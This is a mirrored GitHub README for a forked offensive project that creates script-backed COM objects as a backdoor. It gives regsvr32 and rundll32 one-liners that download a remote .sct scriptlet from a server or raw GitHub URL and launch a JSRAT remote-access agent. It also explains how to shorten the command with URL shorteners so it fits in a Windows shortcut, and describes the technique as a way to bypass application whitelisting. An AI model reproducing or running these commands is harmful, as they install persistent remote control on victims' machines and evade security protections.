GithubHelp home page GithubHelp logo

arryboom / sctpersistence Goto Github PK

View Code? Open in Web Editor NEW

This project forked from 3gstudent/sctpersistence

0.0 0.0 0.0 18 KB

Create COM Objects backed by Scripts, not DLLs

License: BSD 3-Clause "New" or "Revised" License

JavaScript 100.00%

sctpersistence's Introduction

Another way of JSRAT on SCTPersistence.

Thanks to Casey Smith@subTee

https://github.com/subTee/SCTPersistence

His Way:

1.On host, execute regsvr32.exe /u /n /s /i:http://server/Backdoor.sct scrobj.dll

-The default is to use the path to a local file

-rewrite the regkey

-the Class definition comes form the interwebs http://server/c2.js

2.c2.js

-javascript payload

-.sct format

3.call the COM Object

-cmd

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();x=new%20ActiveXObject("Component.Backdoor");x.Main();

or

-js

var x = new ActiveXObject("Component.Backdoor"); x.Main(); var x = new ActiveXObject("Component.Backdoor"); x.Exec();

My Way:

1.On host, execute regsvr32.exe /u /n /s /i:http://server/Backdoor.sct scrobj.dll

-The default is to use the path to a local file

-Connect to the JSRAT server

2.call the COM Object

-cmd

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();x=new%20ActiveXObject("Empire");x.Exec();

-js

var ref = new ActiveXObject("JSRAT"); ref.Exec();


Usage:

1.(local)

regsvr32.exe /u /n /s /i:Backdoor.sct scrobj.dll

or (remote)

regsvr32.exe /u /n /s /i:http://example/Backdoor.sct scrobj.dll

2.run BackdoorTest.js to start JSRAT



ShortJSRAT

You can run the following code to start JSRAT:

regsvr32 /s /n /u /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/ShortJSRAT.sct scrobj.dll

Why create this:

Limit command length to 260 characters.

When we create a Windows shortcut with personnalized icon to start JSRAT,the code of JSRAT is longer than 260charaters.

But we can use regsvr32.exe to run .sct file with very few letters.

What's more, the third-party link shortener Twitter can save more space.

Google url shortener,like this:

regsvr32 /s /n /u /i:https://goo.gl/ijB12k scrobj.dll

Details:

《Use SCT to Bypass Application Whitelisting Protection》

sctpersistence's People

Contributors

code-scrap avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.